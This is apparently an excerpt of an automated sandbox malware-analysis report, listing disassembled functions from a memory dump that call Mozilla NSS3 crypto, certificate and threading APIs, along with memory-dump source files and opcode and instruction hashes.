strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CE75D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CE75D80

Strings

extern:, xrefs: 6CE75CEA, 6CE75D4B
dbm:, xrefs: 6CE75D03, 6CE75D60
multiaccess:, xrefs: 6CE75CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CE75D1A
sql:, xrefs: 6CE75CD1, 6CE75D36

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: dcc1a4e9dc2165c6e8c91d2680c0b45b0610d688e67ae51932da7e98794325d9
Instruction ID: 9e00856d36f8b7c2bd2b5b2392eedf9c14ec97e98f29580df811e6c9002186ee
Opcode Fuzzy Hash: dcc1a4e9dc2165c6e8c91d2680c0b45b0610d688e67ae51932da7e98794325d9
Instruction Fuzzy Hash: 3931E4A0A433515FEB601A25AE48B673778AF1324CF340021EFA5A6A81FB62D911C6B1

Function 6CE76CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF41DE0,?), ref: 6CE76CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE76D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CE76D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CE76D82
DER_GetInteger_Util.NSS3(?), ref: 6CE76DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE76DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CE76E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CE76F19
PK11_DigestBegin.NSS3(00000000), ref: 6CE76F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CE76F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE77011
PK11_FreeSymKey.NSS3(00000000), ref: 6CE77033
free.MOZGLUE(?), ref: 6CE7703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CE77060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CE77087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CE770AF

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: b13522c799df7fb1f7391066f902b6fd49db16d90bc7c52ee4c98f2703a8673d
Instruction ID: b210037acddf63e8b87cd544ed5b48a844b0ea42f71529209ba50368847f5777
Opcode Fuzzy Hash: b13522c799df7fb1f7391066f902b6fd49db16d90bc7c52ee4c98f2703a8673d
Instruction Fuzzy Hash: DFA128719142009BEB249F24DC56BAA32B8DB8130CF34493DE919CBB91E735D945C773

Function 6CE3AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE1AB95,00000000,?,00000000,00000000,00000000), ref: 6CE3AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE1AB95,00000000,?,00000000,00000000,00000000), ref: 6CE3AF39
PR_Unlock.NSS3(?,?,?,6CE1AB95,00000000,?,00000000,00000000,00000000), ref: 6CE3AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE1AB95,00000000,?,00000000,00000000,00000000), ref: 6CE3AF69
TlsGetValue.KERNEL32 ref: 6CE3B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE3B083
PR_Unlock.NSS3(?), ref: 6CE3B0A4
TlsGetValue.KERNEL32 ref: 6CE3B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE3B0D9
PR_Unlock.NSS3 ref: 6CE3B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE3B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE3B182

Part of subcall function 6CE6FAB0: free.MOZGLUE(?,-00000001,?,?,6CE0F673,00000000,00000000), ref: 6CE6FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE3B177

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE1AB95,00000000,?,00000000,00000000,00000000), ref: 6CE3B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE1AB95,00000000,?,00000000,00000000,00000000), ref: 6CE3B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE1AB95,00000000,?,00000000,00000000,00000000), ref: 6CE3B1C2

Part of subcall function 6CE61560: TlsGetValue.KERNEL32(00000000,?,6CE30844,?), ref: 6CE6157A
Part of subcall function 6CE61560: EnterCriticalSection.KERNEL32(?,?,?,6CE30844,?), ref: 6CE6158F
Part of subcall function 6CE61560: PR_Unlock.NSS3(?,?,?,?,6CE30844,?), ref: 6CE615B2

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: c5a2c89a1495aabe6f8bdbd8f18a742fe24375a73f9d794838b9456b067b967f
Instruction ID: c5028e6b38b98efefaac0db36bf610ea926b24f9d207a831e8557fac9aa04449
Opcode Fuzzy Hash: c5a2c89a1495aabe6f8bdbd8f18a742fe24375a73f9d794838b9456b067b967f
Instruction Fuzzy Hash: 47A1D1B2E002159BEF019FA4DC41BFA77B4AF09308F244129E909A7751E735E999CBE1

Function 6CE32C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE2E477,?,?,?,00000001,00000000,?,?,6CE33F23,?), ref: 6CE32C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE2E477,?,?,?,00000001,00000000,?,?,6CE33F23,?), ref: 6CE32C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE2E477,?,?,?,00000001,00000000,?,?,6CE33F23,?), ref: 6CE32C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE2E477,?,?,?,00000001,00000000,?,?,6CE33F23,?), ref: 6CE32C93

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE2E477,?,?,?,00000001,00000000,?,?,6CE33F23,?), ref: 6CE32CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE2E477,?,?,?,00000001,00000000,?,?,6CE33F23,?), ref: 6CE32CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE2E477,?,?,?,00000001,00000000,?,?,6CE33F23), ref: 6CE32CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE2E477,?,?,?,00000001,00000000,?), ref: 6CE32CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE2E477,?,?,?,00000001,00000000,?), ref: 6CE32D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE32D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE32D71
PR_Unlock.NSS3(?), ref: 6CE32D7E

Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007AD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007CD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007D6
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CD9204A), ref: 6CE007E4
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,6CD9204A), ref: 6CE00864
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE00880
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,6CD9204A), ref: 6CE008CB
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008D7
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008FB

Strings

#?l, xrefs: 6CE32C43

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 02e87a37dfd71d5edad97ff4a9629359ddf12f329dbb11436e033c4f455047c7
Instruction ID: 15d83b76ce930967dd2191d05f5cfb84c0001e2f96a484ca97bdbb62f330a6f4
Opcode Fuzzy Hash: 02e87a37dfd71d5edad97ff4a9629359ddf12f329dbb11436e033c4f455047c7
Instruction Fuzzy Hash: 12511776D00214ABDB01AF24DC45AAA7774FF1931CB248528EC5C97B12E731F968CBE1

Function 6CE8AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8ADB1

Part of subcall function 6CE6BE30: SECOID_FindOID_Util.NSS3(6CE2311B,00000000,?,6CE2311B,?), ref: 6CE6BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE8ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE8AE08

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE8AE25
PL_FreeArenaPool.NSS3 ref: 6CE8AE63
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE8AE4D

Part of subcall function 6CD94C70: TlsGetValue.KERNEL32(?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94C97
Part of subcall function 6CD94C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CB0
Part of subcall function 6CD94C70: PR_Unlock.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8AE93
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE8AECC
PL_FreeArenaPool.NSS3 ref: 6CE8AEDE
PL_FinishArenaPool.NSS3 ref: 6CE8AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8AEF5
PL_FinishArenaPool.NSS3 ref: 6CE8AF16

Strings

security, xrefs: 6CE8ADEE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 0985f95c6c728b41faa0187e63391eab1ed338a00dfb4bc2f0d6afcc453a2b08
Instruction ID: b4fcf93fd1e222c891d8ec1f59e33ec22f3ab0a092beb45e31313d5038ef2f5e
Opcode Fuzzy Hash: 0985f95c6c728b41faa0187e63391eab1ed338a00dfb4bc2f0d6afcc453a2b08
Instruction Fuzzy Hash: CA411AB1985210A7EB215B14DC45BAA32B8AF4231CF34092AE85C96FC1F7359999C7F3

Function 6CF2AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED9890: TlsGetValue.KERNEL32(?,?,?,6CED97EB), ref: 6CED989E

EnterCriticalSection.KERNEL32(?), ref: 6CF2AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF2AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF2AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF2AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF2B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF2B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF2B070
PR_JoinThread.NSS3(?), ref: 6CF2B07B
free.MOZGLUE(?), ref: 6CF2B084
EnterCriticalSection.KERNEL32(?), ref: 6CF2B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF2B0C4
PR_JoinThread.NSS3(?), ref: 6CF2B0F3
free.MOZGLUE(?), ref: 6CF2B0FC
PR_JoinThread.NSS3(?), ref: 6CF2B137
free.MOZGLUE(?), ref: 6CF2B140

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 859b7e206d30fef330918dd25755e88821d8f79371e485bd856e119e9607c83e
Instruction ID: 8d6d0e579650c84343c2a82704ca5187bc9948db506d642e770ab244ffd11b84
Opcode Fuzzy Hash: 859b7e206d30fef330918dd25755e88821d8f79371e485bd856e119e9607c83e
Instruction Fuzzy Hash: 3E914EB5900601DFCB04DF25C880956BBF1FF4931872A85ADD81A9BB26E736FC46CB91

Function 6CEA5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEA2A28,00000060,00000001), ref: 6CEA2BF0
Part of subcall function 6CEA2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEA2A28,00000060,00000001), ref: 6CEA2C07
Part of subcall function 6CEA2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CEA2A28,00000060,00000001), ref: 6CEA2C1E
Part of subcall function 6CEA2BE0: free.MOZGLUE(?,00000000,00000000,?,6CEA2A28,00000060,00000001), ref: 6CEA2C4A

free.MOZGLUE(?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5D0F
free.MOZGLUE(?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5D4E
free.MOZGLUE(?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5D62
free.MOZGLUE(?,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5D85
free.MOZGLUE(?,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5D99
free.MOZGLUE(?,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEA5E3E
free.MOZGLUE(?,?,?,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEA5E47
free.MOZGLUE(?,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CEAAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEA5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEA5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEA5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEA5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CEAAAD4), ref: 6CEA5F4B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 364fdc36efd81251026ef678ba2f66edff91b016c73c43237ce0f8cf3c7cd9e4
Instruction ID: 72c99cca6ab21fe6aee2ba1e0ec93ffffd3c16d8bd98e97198a952ee696136a8
Opcode Fuzzy Hash: 364fdc36efd81251026ef678ba2f66edff91b016c73c43237ce0f8cf3c7cd9e4
Instruction Fuzzy Hash: 6371A2B5A11B019FD700CF64D884AA3B7B5BF89308F24852DE86E8BB11E731F955CB51

Function 6CE28DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE28E22
EnterCriticalSection.KERNEL32(?), ref: 6CE28E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE28E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE28E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE28E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE28EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE28EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE28EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE28F00
free.MOZGLUE(?), ref: 6CE28F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE28F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE28F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE28F5B
PR_Unlock.NSS3(?), ref: 6CE28F72
PR_Unlock.NSS3(?), ref: 6CE28F82

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 80137defa536eb66b1360f6fb77111b34daed99abc64a37cb12322b207841d4b
Instruction ID: f60a57da03a41a1bb1147328c1de3e3c6e7433ee84f3252607be9bb4a033b92e
Opcode Fuzzy Hash: 80137defa536eb66b1360f6fb77111b34daed99abc64a37cb12322b207841d4b
Instruction Fuzzy Hash: 345137B3E002159FEB209F68CC85A6AB7B9EF45318F35412AEC189B700E739ED4587D1

Function 6CE4CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CE4CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE4CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CE4CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CE4CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CE4CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE4CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CE4CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CE4CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CE4CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CE4CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CE4CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CE4CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CE4CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CE4D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CE4D021

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 35d672ba0a95eab73cb20fcf1691e9d9905bee8343a92f05f64882da2d8aabfc
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 3531477576291027EF0E5457AD21BDE146B8B7530FF54003CF90AEABC1F685972702E5

Function 6CF20FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF21000

Part of subcall function 6CED9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE01A48), ref: 6CED9BB3
Part of subcall function 6CED9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE01A48), ref: 6CED9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF21016

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_Unlock.NSS3(?), ref: 6CF21021

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF21046
PR_Unlock.NSS3(?), ref: 6CF2106B
PR_Lock.NSS3 ref: 6CF21079
PR_Unlock.NSS3 ref: 6CF21096
free.MOZGLUE(?), ref: 6CF210A7
free.MOZGLUE(?), ref: 6CF210B4
PR_DestroyCondVar.NSS3(?), ref: 6CF210BF
PR_DestroyCondVar.NSS3(?), ref: 6CF210CA
PR_DestroyCondVar.NSS3(?), ref: 6CF210D5
PR_DestroyCondVar.NSS3(?), ref: 6CF210E0
PR_DestroyLock.NSS3(?), ref: 6CF210EB
free.MOZGLUE(?), ref: 6CF21105

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
